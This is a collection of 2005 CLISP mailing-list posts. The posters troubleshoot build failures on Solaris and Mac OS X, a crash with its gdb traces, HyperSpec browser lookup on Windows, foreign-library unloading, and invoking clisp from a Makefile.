configure:24821: /apps/gnu/solaris2.8/gcc-3.3.3/bin/gcc -g -O -o conftest -g -O2 -I/apps/public/solaris2.8/include  conftest.c /apps/gnu/solaris2.8/lib/libreadline.so -R/apps/gnu/solaris2.8/lib -ltermcap -ldl  -lnsl -lsocket 
conftest.c:174:31: readline/readline.h: No such file or directory

Well, that, of course isn't going to work because readline/readline.h
is in /apps/gnu/solaris2.8/include, not
/apps/public/solaris2.8/include.  I don't even know why it decided to
use -I/apps/public/solaris2.8/include.

Oh, this is with 2.35.  I have yet to download the current CVS version.

Ray






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On Fri, 2005-11-18 at 21:52 +0200, Yaroslav Kavenchuk wrote:
> ;; running ["mozilla" "C:\\CL\\doc\\HyperSpec\\Body/f_revers.htm"]...
> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the 
> file specified.
> The following restarts are available:
> ABORT :R1 ABORT
> 
> Mozilla is installed

I don't think Mozilla is in your path.

(setf (second (assoc :mozilla custom:*browsers*)) "c:/path/to/mozilla")

On GNU/Linux, my output is similar to yours, but I get
http://www.lisp.org/HyperSpec/Body/fun_reversecm_nreverse.html in my
browser.

[5]> (describe 'ext:*args*)

*ARGS* is the symbol *ARGS*, lies in #<PACKAGE EXT>, is accessible in 7
packages COMMON-LISP-USER, EXT, FFI, POSIX, READLINE, SCREEN, SYSTEM, a
variable declared SPECIAL, value: NIL.

 #<PACKAGE EXT> is the package named EXT.
 It imports the external symbols of 7 packages POSIX, SOCKET, GSTREAM, GRAY,
 I18N, COMMON-LISP, CUSTOM and exports 715 symbols to 7 packages READLINE,
 POSIX, FFI, CS-COMMON-LISP-USER, SCREEN, COMMON-LISP-USER, SYSTEM.

 NIL is the empty list, the symbol NIL, lies in #<PACKAGE COMMON-LISP>, is
 accessible in 11 packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING,
 EXT, FFI, POSIX, READLINE, REGEXP, SCREEN, SYSTEM, a constant, value: NIL,
 names a type, has 3 properties SYSTEM::DOC, SYSTEM::INSTRUCTION,
  SYSTEM::TYPE-SYMBOL
 .;; running ["firefox" "-remote"
  "openURL(http://www.lisp.org/HyperSpec/Body/any_nil.html,new-tab)"
 ]...done
 ;; running ["firefox" "-remote"
  "openURL(http://www.podval.org/~sds/clisp/impnotes/exporting,new-tab)"
 ]...done

 For more information, evaluate (SYMBOL-PLIST 'NIL).

  #<PACKAGE COMMON-LISP> is the package named COMMON-LISP. It has 2
  nicknames LISP, CL.
  It imports the external symbols of 1 package CLOS and exports 978 symbols
  to 10 packages READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS,
  COMMON-LISP-USER, EXT, SYSTEM.

  NIL [see above]

 Documentation:
 CLHS:
 "Body/any_nil.html"
 SYSTEM::IMPNOTES:
 "exporting"

My browser loads http://www.lisp.org/HyperSpec/Body/any_nil.html and
http://www.podval.org/~sds/clisp/impnotes/exporting (a 404), which is
strange.

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I built from CVS head (checked out Nov 18, around 16:15 CET), using  
the same configuration that I am using for 2.35; the build seemed to  
go ok, although I did not look in detail on the full printout during  
the build.

However, when I run clisp (or clisp -K full), my Mac reports a crash  
dump in the crashreporter.log. I am quite confused, as clisp still  
starts, although it takes a little longer than when I start my 2.35  
build. I have not tested the build extensively, but some simple REPL  
tests seems to work (like printing some strings and stuff).

I am currently unsure on how to proceed in trying to figure out what  
the problem might be, so any pointers would be welcome.

I include some additional information below, in case other OS X users  
are more cluefull than me.

My config looks like:

$ ./configure --prefix=/opt/local --with-module=rawsock --with- 
module=regexp --build ../build-re

(it seems regexp is now built by default, is that correct?)

The crashlog looks like:

===== Friday, November 18, 2005 22:20:58 Europe/Stockholm =====
Fri Nov 18 22:21:04 2005 crashdump[17468]: crashdump started
Fri Nov 18 22:21:05 2005 crashdump[17468]: Started writing crash  
report to: /Users/mjl/Library/Logs/CrashReporter/lisp.run.crash.log
Fri Nov 18 22:21:06 2005 crashdump[17468]: Finished writing crash  
report to: /Users/mjl/Library/Logs/CrashReporter/lisp.run.crash.log


The contents of list.run.crash.log looks like:

Host Name:      Johans-Computer
Date/Time:      2005-11-18 22:35:02.962 +0100
OS Version:     10.4.3 (Build 8F46)
Report Version: 3

Command: lisp.run
Path:    /Users/mjl/work/clisp-current/build-re/base/lisp.run
Parent:  bash [4780]

Version: ??? (???)

PID:    17552
Thread: 0

Exception:  EXC_BAD_ACCESS (0x0001)
Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130

Thread 0 Crashed:
0   lisp.run 	0x0006f8b4 closed_buffered + 48 (crt.c:355)
1   lisp.run 	0x0007850c closed_all_files + 108 (crt.c:355)
2   lisp.run 	0x000289ac loadmem_from_handle + 3168 (crt.c:355)
3   lisp.run 	0x00028c68 loadmem + 128 (crt.c:355)
4   lisp.run 	0x00029058 init_memory + 888 (crt.c:355)
5   lisp.run 	0x0002b610 main + 3940 (crt.c:355)
6   lisp.run 	0x00002878 _start + 340 (crt.c:272)
7   lisp.run 	0x00002720 start + 60

Thread 0 crashed with PPC Thread State 64:
   srr0: 0x000000000006f8b4 srr1:  
0x000000000000d030                        vrsave: 0x0000000000000000
     cr: 0x22000248          xer: 0x0000000000000004   lr:  
0x000000000007850c  ctr: 0x0000000000000001
     r0: 0x000000000007850c   r1: 0x00000000bffff080   r2:  
0x0000000000000000   r3: 0x0000000000000000
     r4: 0x0000000000500490   r5: 0x00000000bfffefd8   r6:  
0x0000000000000000   r7: 0x000000000006f88c
     r8: 0x00000000001b0f4d   r9: 0x0000000019fb613c  r10:  
0x0000000019fb60dc  r11: 0x0000000000000000
    r12: 0x0000000090006700  r13: 0x0000000000000000  r14:  
0x0000000000000000  r15: 0x0000000000000000
    r16: 0x00000000001a8040  r17: 0x00000000001a8014  r18:  
0x0000000000000001  r19: 0x00000000001a8014
    r20: 0x00000000bffff0b0  r21: 0x00000000bffff0e0  r22:  
0x0000000000000005  r23: 0x00000000005004cc
    r24: 0x00000000001b0f4d  r25: 0x00000000001b84a8  r26:  
0x00000000001b84a8  r27: 0x00000000fffffff6
    r28: 0x00000000667295e8  r29: 0x0000000019fb60dd  r30:  
0x0000000019fb60dc  r31: 0x00000000000784a8

Binary Images Description:
     0x1000 -   0x1a7fff lisp.run 	/Users/mjl/work/clisp-current/ 
build-re/base/lisp.run
   0x305000 -   0x326fff libreadline.5.0.dylib 	/opt/local/lib/ 
libreadline.5.0.dylib
   0x36c000 -   0x373fff libintl.3.dylib 	/opt/local/lib/libintl.3.dylib
   0x388000 -   0x45efff libiconv.2.dylib 	/opt/local/lib/libiconv. 
2.dylib
0x8fe00000 - 0x8fe54fff dyld 44.2	/usr/lib/dyld
0x90000000 - 0x901b3fff libSystem.B.dylib 	/usr/lib/libSystem.B.dylib
0x9020b000 - 0x9020ffff libmathCommon.A.dylib 	/usr/lib/system/ 
libmathCommon.A.dylib
0x9073a000 - 0x90813fff com.apple.CoreFoundation 6.4.4 (368.18)	/ 
System/Library/Frameworks/CoreFoundation.framework/Versions/A/ 
CoreFoundation
0x9085e000 - 0x90960fff libicucore.A.dylib 	/usr/lib/libicucore.A.dylib
0x909ba000 - 0x90a3efff libobjc.A.dylib 	/usr/lib/libobjc.A.dylib
0x90aed000 - 0x90afffff libauto.dylib 	/usr/lib/libauto.dylib
0x913ac000 - 0x913b4fff libgcc_s.1.dylib 	/usr/lib/libgcc_s.1.dylib
0x913b9000 - 0x913d9fff libmx.A.dylib 	/usr/lib/libmx.A.dylib
0x9688a000 - 0x968b8fff libncurses.5.4.dylib 	/usr/lib/libncurses. 
5.4.dylib


Kind Regards,

johan

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Devon Sean McCullough <Devon@Jovi.Net> writes:

> ...
>    (use "FFI")
>    (def-call-out messagebox ...)
> ...
>    (close-foreign-library "user32.dll")
>
> ... #<INVALID FOREIGN POINTER ...
>
> Without even looking at the manual,
> I can tell you "user32.dll" is a string,
> not a foreign pointer.

I maybe wrong but according to my understanding, close-foreign-library takes
string as an argument (I have not seen the manual recently either, but I have
used this function), and I doubt if your speculation is right.

When I use close-foreign-library with wxCL, it returns the same
invalid-pointer thing and some memory location in hex.  

But things do work alright, close-foreign-library really unloads the
library. I guess, this invalid pointer might be address of the handle or
something which is used by clisp to keep track of the library.

>
> I can speculate, again sans manual,
> that (setq xyz (def-call-out ...
> or (defvar xyz (def-call-out ...
> followed by (close-foreign-library xyz)
> might be worth trying.
>

-- 
Surendra Singhi
http://www.public.asu.edu/~sksinghi/index.html

,----
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| And thin partitions do their bounds divide.
| 
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I'm testing axiom under a variety of common lisps.
The Makefile I use does the following:

  @-echo (load "bookvol5.lisp") | clisp

If I get an error, e.g.

** - Continuable Error
FUNCALL: undefined function foo
If you continue (by typing 'continue): Retry
The following restarts are also available:
STORE-VALUE   :R1
USE-VALUE     :R2

clisp continues in an infinite loop forcing me to kill the shell
and I lose all of the output.

so I tried:

  @-echo (progn (load "bookvol5.lisp") (common-lisp-user::quit)) | clisp

with the same result.

How can I invoke clisp from a Makefile without entering an infinite loop?

Tim Daly


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The following Makefile works for me (under FreeBSD)

test:
        @- echo '(progn (print 5) (quit))' | clisp=20


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Stephen Compall wrote:

>I don't think Mozilla is in your path.
>
>(setf (second (assoc :mozilla custom:*browsers*)) "c:/path/to/mozilla")
>  
>
Thanks!

>On GNU/Linux, my output is similar to yours, but I get
>http://www.lisp.org/HyperSpec/Body/fun_reversecm_nreverse.html in my
>browser.
>
>[5]> (describe 'ext:*args*)
>
>*ARGS* is the symbol *ARGS*, lies in #<PACKAGE EXT>, is accessible in 7
>packages COMMON-LISP-USER, EXT, FFI, POSIX, READLINE, SCREEN, SYSTEM, a
>variable declared SPECIAL, value: NIL.
>
> #<PACKAGE EXT> is the package named EXT.
> It imports the external symbols of 7 packages POSIX, SOCKET, GSTREAM, GRAY,
> I18N, COMMON-LISP, CUSTOM and exports 715 symbols to 7 packages READLINE,
> POSIX, FFI, CS-COMMON-LISP-USER, SCREEN, COMMON-LISP-USER, SYSTEM.
>
> NIL is the empty list, the symbol NIL, lies in #<PACKAGE COMMON-LISP>, is
> accessible in 11 packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING,
> EXT, FFI, POSIX, READLINE, REGEXP, SCREEN, SYSTEM, a constant, value: NIL,
> names a type, has 3 properties SYSTEM::DOC, SYSTEM::INSTRUCTION,
>  SYSTEM::TYPE-SYMBOL
> .;; running ["firefox" "-remote"
>  "openURL(http://www.lisp.org/HyperSpec/Body/any_nil.html,new-tab)"
> ]...done
> ;; running ["firefox" "-remote"
>  "openURL(http://www.podval.org/~sds/clisp/impnotes/exporting,new-tab)"
> ]...done
>
> For more information, evaluate (SYMBOL-PLIST 'NIL).
>
>  #<PACKAGE COMMON-LISP> is the package named COMMON-LISP. It has 2
>  nicknames LISP, CL.
>  It imports the external symbols of 1 package CLOS and exports 978 symbols
>  to 10 packages READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS,
>  COMMON-LISP-USER, EXT, SYSTEM.
>
>  NIL [see above]
>
> Documentation:
> CLHS:
> "Body/any_nil.html"
> SYSTEM::IMPNOTES:
> "exporting"
>
>My browser loads http://www.lisp.org/HyperSpec/Body/any_nil.html and
>http://www.podval.org/~sds/clisp/impnotes/exporting (a 404), which is
>strange.
>  
>
[1]> (custom:clhs-root)
"C:/CL/doc/HyperSpec/"
[2]> (custom:impnotes-root)
"http://www.podval.org/~sds/clisp/impnotes/"
[3]> *browser*
:DEFAULT
[4]> (describe 'nreverse)

NREVERSE is the symbol NREVERSE, lies in #<PACKAGE COMMON-LISP>, is 
accessible in 17 packages
ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, 
MAKE, PCRE, POSIX, RAWSOCK,
READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a
;; SYSTEM::GET-CLHS-MAP(#<INPUT BUFFERED FILE-STREAM CHARACTER 
#P"C:\\CL\\doc\\HyperSpec\\Data\\Map_
Sym.txt" @1>)...978/978 symbols
 function.
;; starting the default system browser with url 
"C:/CL/doc/HyperSpec/Body/f_revers.htm"...done
;; connecting to 
"http://www.podval.org/~sds/clisp/impnotes/id-href.map"...connected...HTTP/1.1 
200
OK...64,426 bytes
;; SYSTEM::GET-STRING-MAP(#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 
www.podval.org:80>)...
WARNING: SYSTEM::GET-STRING-MAP: invalid map "" --> "faq.html#id3219051"
WARNING: IMPNOTES-ROOT returns invalid value 
"http://www.podval.org/~sds/clisp/impnotes/", fix it,
          (GETENV "IMPNOTES")
         or *IMPNOTES-ROOT-DEFAULT*

 #<PACKAGE COMMON-LISP> is the package named COMMON-LISP. It has 2 
nicknames LISP, CL.
 It imports the external symbols of 1 package CLOS and exports 978 
symbols to 16 packages ASDF,
 MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, 
FFI, SCREEN, CLOS,
 COMMON-LISP-USER, EXT, SYSTEM.

 #<SYSTEM-FUNCTION NREVERSE> is a built-in system function.
 Argument list: (ARG0).


My browser load only "file:///C:/CL/doc/HyperSpec/Body/f_revers.htm"
if restart clisp and run (describe 'ext:*args*)

[1]> (describe 'ext:*args*)

*ARGS* is the symbol *ARGS*, lies in #<PACKAGE EXT>, is accessible in 9 
packages COMMON-LISP-USER,
EXT, FFI, LDAP, POSIX, READLINE, SCREEN, SYSTEM, ZLIB, a variable 
declared SPECIAL, value: NIL
;; connecting to 
"http://www.podval.org/~sds/clisp/impnotes/id-href.map"...connected...HTTP/1.1 
200
OK...64,426 bytes
;; SYSTEM::GET-STRING-MAP(#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 
www.podval.org:80>)...
WARNING: SYSTEM::GET-STRING-MAP: invalid map "" --> "faq.html#id3219051"
WARNING: IMPNOTES-ROOT returns invalid value 
"http://www.podval.org/~sds/clisp/impnotes/", fix it,
          (GETENV "IMPNOTES")
         or *IMPNOTES-ROOT-DEFAULT*
.

 #<PACKAGE EXT> is the package named EXT.
 It imports the external symbols of 8 packages LDAP, POSIX, SOCKET, 
GSTREAM, GRAY, I18N,
 COMMON-LISP, CUSTOM and exports 706 symbols to 9 packages ZLIB, LDAP, 
READLINE, POSIX, FFI,
 CS-COMMON-LISP-USER, SCREEN, COMMON-LISP-USER, SYSTEM.

 NIL is the empty list, the symbol NIL, lies in #<PACKAGE COMMON-LISP>, 
is accessible in 17
 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, 
FFI, LDAP, MAKE, PCRE,
 POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, a constant, 
value: NIL, names a type,
 has 3 properties SYSTEM::DOC, SYSTEM::INSTRUCTION, SYSTEM::TYPE-SYMBOL
;; SYSTEM::GET-CLHS-MAP(#<INPUT BUFFERED FILE-STREAM CHARACTER 
#P"C:\\CL\\doc\\HyperSpec\\Data\\Map_
Sym.txt" @1>)...978/978 symbols
.;; starting the default system browser with url 
"C:/CL/doc/HyperSpec/Body/a_nil.htm"...done
 ;; starting the default system browser with url
  "http://www.podval.org/~sds/clisp/impnotes/exporting"
 ...done

 For more information, evaluate (SYMBOL-PLIST 'NIL).

  #<PACKAGE COMMON-LISP> is the package named COMMON-LISP. It has 2 
nicknames LISP, CL.
  It imports the external symbols of 1 package CLOS and exports 978 
symbols to 16 packages ASDF,
  MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, 
FFI, SCREEN, CLOS,
  COMMON-LISP-USER, EXT, SYSTEM.

  NIL [see above]

 Documentation:
 CLHS:
 "Body/a_nil.htm"
 SYSTEM::IMPNOTES:
 "exporting"


And my browser load "file:///C:/CL/doc/HyperSpec/Body/a_nil.htm" and 
next in that window load 
"http://www.podval.org/~sds/clisp/impnotes/exporting" and show:


  Not Found

The requested URL /~sds/clisp/impnotes/exporting was not found on this 
server.

------------------------------------------------------------------------
Apache/2.0.54 (Fedora) Server at www.podval.org Port 80

Thanks!

-- 
WBR, Yaroslav Kavenchuk.


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Surendra Singhi <efuzzyone <at> netscape.net> writes:

> But things do work alright, close-foreign-library really unloads the
> library. I guess, this invalid pointer might be address of the handle or
> something which is used by clisp to keep track of the library.
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the complete message after (close-foreign-library "user32.dll")
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Date: Sat Nov 19 13:42:03 2005
X-Original-Date: Sat, 19 Nov 2005 21:26:52 +0000 (UTC)

What is the best way to go about getting information on how to to call win32 COM 
objects from/to Clisp?

I am interested in reading/writing bytes to the parallel port in a windows xp 
environment.

Thanks!



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> * root <qnyl@nkvbz-qrirybcre.bet> [2005-11-19 01:00:07 -0500]: 
>I'm testing axiom under a variety of common lisps.  The Makefile 
>I use does the following:  @-echo (load "bookvol5.lisp") | clisp 
>I suggest this instead: clisp bookvol5  If I get an error, e.g. 
>** - Continuable Error FUNCALL: undefined function foo If you 
>continue (by typing 'continue): Retry The following restarts are 
>also available: STORE-VALUE   :R1 USE-VALUE     :R2  clisp 
>continues in an infinite loop forcing me to kill the shell and I 
>lose all of the output.   I think you have an old version of 
>clisp.  http://clisp.cons.org/impnotes/faq.html#faq-bugs 
>http://clisp.cons.org/impnotes/clisp.html#bugs  How can I invoke 
>clisp from a Makefile without entering an infinite loop?   clisp 
>-on-error debug fooo.lisp  the above will give your a lisp prompt 
>on error. 

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> * xu yong <ubcrkl@tznvy.pbz> [2005-11-19 14:02:15 +0000]: 
>Surendra Singhi <efuzzyone <at> netscape.net> writes:  > But 
>things do work alright, close-foreign-library really unloads the 
>> library. I guess, this invalid pointer might be address of the 
>handle or > something which is used by clisp to keep track of the 
>library.  >   the complete message after (close-foreign-library 
>"user32.dll") is #<INVALID FOREIGN-POINTER #x77D10000>  this is 
>the return value.  "INVALID" means that the library handle has 
>indeed been closed and therefore now it is invalid.   How do you 
>confirm that the library really unloaded?   try to rename or 
>remove the dll file. win32 will not allow that if any program is 
>using the dll, so if some other program is still using it, you 
>won;t be able to do that even when clisp has closed the handle. 
>Is there any tool to check that?   why do you need to check that? 
>the only reason this close-foreign-library function exists at all 
>is so that you can replace the library with a newer version 
>without having to restart clisp.  if you are opening a system 
>library, there is no reason to close it. 
 

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> * Bruce Lester <oehpr_yrfgre@rznvy.pbz> [2005-11-19 21:26:52 
>+0000]:  What is the best way to go about getting information on 
>how to to call win32 COM objects from/to Clisp? 
>http://clisp.cons.org/impnotes/dffi.html 
>http://clisp.cons.org/impnotes/modules.html 

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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-18 22:55:46 
>+0100]:  (it seems regexp is now built by default, is that 
>correct?)   yes. 
>http://clisp.cons.org/impnotes/modules.html#base-modules  Thread 
>0 Crashed: 0   lisp.run 	0x0006f8b4 closed_buffered + 48 
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>6   lisp.run 	0x00002878 _start + 340 (crt.c:272) 7   lisp.run 
>0x00002720 start + 60  weird.  closed_buffered does not really do 
>much.  could you please configure with debug and see under gdb 
>what is going on? 
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On 11/20/05, xu yong <hopexy@gmail.com> wrote:
> How do you confirm that the library really unloaded? Is there any tool
> to check that?

I've found that sysinternals' process explorer is a good utility for
finding out which DLLs are currently mapped into a particular process:

http://www.sysinternals.com/Utilities/ProcessExplorer.html


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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2005-11-19 14:46:30 
>+0200]:  >  NIL [see above] > > Documentation: > CLHS: > 
>"Body/any_nil.html" > SYSTEM::IMPNOTES: > "exporting"  fixed. 
>>My browser loads http://www.lisp.org/HyperSpec/Body/any_nil.html 
>and >http://www.podval.org/~sds/clisp/impnotes/exporting (a 404), 
>which is >strange.   should be fixed now.   thanks for trying out 
>this new feature - and please do try it again! 

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On Nov 20, 2005, at 01:34, Sam Steingold wrote:

>> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-18 22:55:46 +0100]:   
>> (it seems regexp is now built by default, is that correct?)   yes.  
>> http://clisp.cons.org/impnotes/modules.html#base-modules

Sorry, I temporarily confused "regexp" with "pcre".


>>   Thread 0 Crashed: 0   lisp.run 	0x0006f8b4 closed_buffered + 48  
>> (crt.c:355) 1   lisp.run 	0x0007850c closed_all_files + 108 (crt.c: 
>> 355) 2   lisp.run 	0x000289ac loadmem_from_handle + 3168 (crt.c: 
>> 355) 3   lisp.run 	0x00028c68 loadmem + 128 (crt.c:355) 4    
>> lisp.run 	0x00029058 init_memory + 888 (crt.c:355) 5   lisp.run 	 
>> 0x0002b610 main + 3940 (crt.c:355) 6   lisp.run 	0x00002878 _start  
>> + 340 (crt.c:272) 7   lisp.run 0x00002720 start + 60  weird.   
>> closed_buffered does not really do much.  could you please  
>> configure with debug and see under gdb what is going on? <http:// 
>> clisp.cons.org/impnotes/faq.html#faq-debug>

Hmm, I get somewhat confusing results, and I am unsure how to  
interpret them. I provide details below, but the summary seems to be  
that if I build with debug support, I *don't* get crash dumps (i.e.  
the builds seems to work the way they should), while building without  
debug support yields crash dumps.

I have performed my tests both with and without the RAWSOCK module  
(as I had that one included in the original report).


Background
----------

Johans-Computer:~/work/clisp-current/build-g mjl$ uname -a
Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: Mon  
Oct  3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power  
Macintosh powerpc

Johans-Computer:~/work/clisp-current/build-g mjl$ gcc --version
powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc.  
build 5247)

Johans-Computer:~/work/clisp-current mjl$ gdb --version
GNU gdb 6.1-20040303 (Apple version gdb-434) (Wed Nov  2 17:28:16 GMT  
2005)

I am using libsigsegv 2.1 from the Darwin Ports project (this is why  
I use "--prefix=/opt/local" below, that's where the Darwin Ports  
stuff is installed).


RAWSOCK without debug
---------------------

This version of CLISP generates a crash dump (as described in an  
earlier mail).


Johans-Computer:~/work/clisp-current/clisp mjl$ ./configure --prefix=/ 
opt/local --with-module=rawsock --build ../build-rawsock


RAWSOCK with debug
------------------

This version of CLISP does *not* generate a crash dump when I run it  
*without* using GDB (neither using "clisp", nor "clisp -K full").


Johans-Computer:~/work/clisp-current/clisp mjl$ ./configure --prefix=/ 
opt/local --with-debug --with-module=rawsock --build ../build-g

Johans-Computer:~/work/clisp-current/build-g mjl$ gdb lisp.run
GNU gdb 6.1-20040303 (Apple version gdb-434) (Wed Nov  2 17:28:16 GMT  
2005)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and  
you are
welcome to change it and/or distribute copies of it under certain  
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for  
details.
This GDB was configured as "powerpc-apple-darwin"...Reading symbols  
for shared libraries ....... done

Breakpoint 1 at 0x42ee4: file eval.d, line 4937.
Breakpoint 2 at 0x3e0b0: file eval.d, line 4020.
Breakpoint 3 at 0x3729c: file eval.d, line 2882.
Breakpoint 4 at 0x46460: file eval.d, line 5906.
Breakpoint 5 at 0x10c94: file spvw_garcol.d, line 2430.
Hardware watchpoint 6: back_trace
Breakpoint 7 at 0x16210: file spvw.d, line 658.
Breakpoint 8 at 0x5b44: file spvw.d, line 479.
Breakpoint 9 at 0x5c48: file spvw.d, line 494.
Breakpoint 10 at 0x1aa034: file error.d, line 349.
Breakpoint 11 at 0x1a9f50: file error.d, line 326.
Breakpoint 12 at 0x1ab308: file errunix.c, line 680.
Breakpoint 13 at 0x1ab410: file errunix.c, line 695.
Breakpoint 14 at 0x1ab6c0: file error.d, line 425.
Breakpoint 15 at 0x1ab550: file errunix.c, line 723.
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x00042ee4 in funcall at eval.d:4937
         xout fun
2   breakpoint     keep n   0x0003e0b0 in apply at eval.d:4020
         xout fun
3   breakpoint     keep n   0x0003729c in eval at eval.d:2882
         xout form
4   breakpoint     keep n   0x00046460 in interpret_bytecode_ at  
eval.d:5906
         xout closure
5   breakpoint     keep n   0x00010c94 in gar_col at spvw_garcol.d:2430
6   hw watchpoint  keep n              back_trace
         zbacktrace
         continue
7   breakpoint     keep y   0x00016210 in fehler_notreached at spvw.d: 
658
8   breakpoint     keep y   0x00005b44 in SP_ueber at spvw.d:479
9   breakpoint     keep y   0x00005c48 in STACK_ueber at spvw.d:494
10  breakpoint     keep y   0x001aa034 in fehler at error.d:349
11  breakpoint     keep y   0x001a9f50 in prepare_error at error.d:326
12  breakpoint     keep y   0x001ab308 in OS_error at errunix.c:680
13  breakpoint     keep y   0x001ab410 in OS_file_error at errunix.c:695
14  breakpoint     keep y   0x001ab6c0 in OS_filestream_error at  
error.d:425
15  breakpoint     keep y   0x001ab550 in errno_out_low at errunix.c:723
Function "sigsegv_handler_failed" not defined.
.gdbinit:163: Error in sourced command file:
No symbol "byteptr" in current context.
(gdb) base
(gdb) run
Starting program: /Users/mjl/work/clisp-current/build-g/base/lisp.run  
-B . -N locale -M base/lispinit.mem -q -norc
Segmentation fault
Johans-Computer:~/work/clisp-current/build-g mjl$


If I read the comments in .gdbinit correctly, the sigsegv "problem"  
is expected (I assume I am *not* running generational GC, as I have  
not configured anything like that; by the way, how would I?). I don't  
understand the "byteptr" error.


Vanilla without debug
---------------------

This version of CLISP generates a crash dump.


Johans-Computer:~/work/clisp-current/clisp mjl$ ./configure --prefix=/ 
opt/local --build ../build


Vanilla with debug
------------------

This version of CLISP does *not* generate a crash dump when I run it  
*without* using GDB.


Johans-Computer:~/work/clisp-current/clisp mjl$ ./configure --prefix=/ 
opt/local --with-debug --build ../build-g


Johans-Computer:~/work/clisp-current/build-g mjl$ gdb lisp.run
GNU gdb 6.1-20040303 (Apple version gdb-434) (Wed Nov  2 17:28:16 GMT  
2005)
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you are
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Type "show copying" to see the conditions.
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details.
This GDB was configured as "powerpc-apple-darwin"...Reading symbols  
for shared libraries ....... done

Breakpoint 1 at 0x42ee4: file eval.d, line 4937.
Breakpoint 2 at 0x3e0b0: file eval.d, line 4020.
Breakpoint 3 at 0x3729c: file eval.d, line 2882.
Breakpoint 4 at 0x46460: file eval.d, line 5906.
Breakpoint 5 at 0x10c94: file spvw_garcol.d, line 2430.
Hardware watchpoint 6: back_trace
Breakpoint 7 at 0x16210: file spvw.d, line 658.
Breakpoint 8 at 0x5b44: file spvw.d, line 479.
Breakpoint 9 at 0x5c48: file spvw.d, line 494.
Breakpoint 10 at 0x1aa034: file error.d, line 349.
Breakpoint 11 at 0x1a9f50: file error.d, line 326.
Breakpoint 12 at 0x1ab308: file errunix.c, line 680.
Breakpoint 13 at 0x1ab410: file errunix.c, line 695.
Breakpoint 14 at 0x1ab6c0: file error.d, line 425.
Breakpoint 15 at 0x1ab550: file errunix.c, line 723.
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x00042ee4 in funcall at eval.d:4937
         xout fun
2   breakpoint     keep n   0x0003e0b0 in apply at eval.d:4020
         xout fun
3   breakpoint     keep n   0x0003729c in eval at eval.d:2882
         xout form
4   breakpoint     keep n   0x00046460 in interpret_bytecode_ at  
eval.d:5906
         xout closure
5   breakpoint     keep n   0x00010c94 in gar_col at spvw_garcol.d:2430
6   hw watchpoint  keep n              back_trace
         zbacktrace
         continue
7   breakpoint     keep y   0x00016210 in fehler_notreached at spvw.d: 
658
8   breakpoint     keep y   0x00005b44 in SP_ueber at spvw.d:479
9   breakpoint     keep y   0x00005c48 in STACK_ueber at spvw.d:494
10  breakpoint     keep y   0x001aa034 in fehler at error.d:349
11  breakpoint     keep y   0x001a9f50 in prepare_error at error.d:326
12  breakpoint     keep y   0x001ab308 in OS_error at errunix.c:680
13  breakpoint     keep y   0x001ab410 in OS_file_error at errunix.c:695
14  breakpoint     keep y   0x001ab6c0 in OS_filestream_error at  
error.d:425
15  breakpoint     keep y   0x001ab550 in errno_out_low at errunix.c:723
Function "sigsegv_handler_failed" not defined.
.gdbinit:163: Error in sourced command file:
No symbol "byteptr" in current context.
(gdb) base
(gdb) run
Starting program: /Users/mjl/work/clisp-current/build-g/base/lisp.run  
-B . -N locale -M base/lispinit.mem -q -norc
Segmentation fault
Johans-Computer:~/work/clisp-current/build-g mjl$




Does this help in any way? Any more pointers to what I could try? Any  
additional information I can provide?


Kind Regards,

johan


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Yaroslav Kavenchuk <kavenchuk@tut.by> writes:
>
> [6]> (setf *browser* :mozilla)
> :MOZILLA
> [7]> (describe 'nreverse)
>
> NREVERSE is the symbol NREVERSE, lies in #<PACKAGE COMMON-LISP>, is
> accessible in 17 packages
> ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP,
> MAKE, PCRE, POSIX, RAWSOCK,
> READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a function, has 1
> property SYSTEM::DOC.
> ;; running ["mozilla" "C:\\CL\\doc\\HyperSpec\\Body/f_revers.htm"]...
> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
> *** file specified.
> The following restarts are available:
> ABORT :R1 ABORT
>
> Mozilla is installed
>

I might be wrong here, but shouldn't the browser be named "firefox".

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On 16 Nov 2005, at 00:38, Sam Steingold wrote:

>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> 
>> [2005-11-16 00:14:29 +0100]:
>>
>> On the other hand, I'm afraid we've got different versions: could you
>> please tell me where configure is located? what about build-re
>> directory?
>
> 1. what is your platform? (uname -a)

Thanks!

Darwin Jns-iBook.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 
20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC  Power 
Macintosh powerpc


> 2. where did you get your clisp?  sources?  binaries?

I've installed both sources and binaries from Fink sourceforge.net and 
I never found that configure file.

Many thanks in advance.

Best,

Jn

>
>
>>> build:
>>> $ ./configure --with-module=regexp --build build-re
>>>
>>> run:
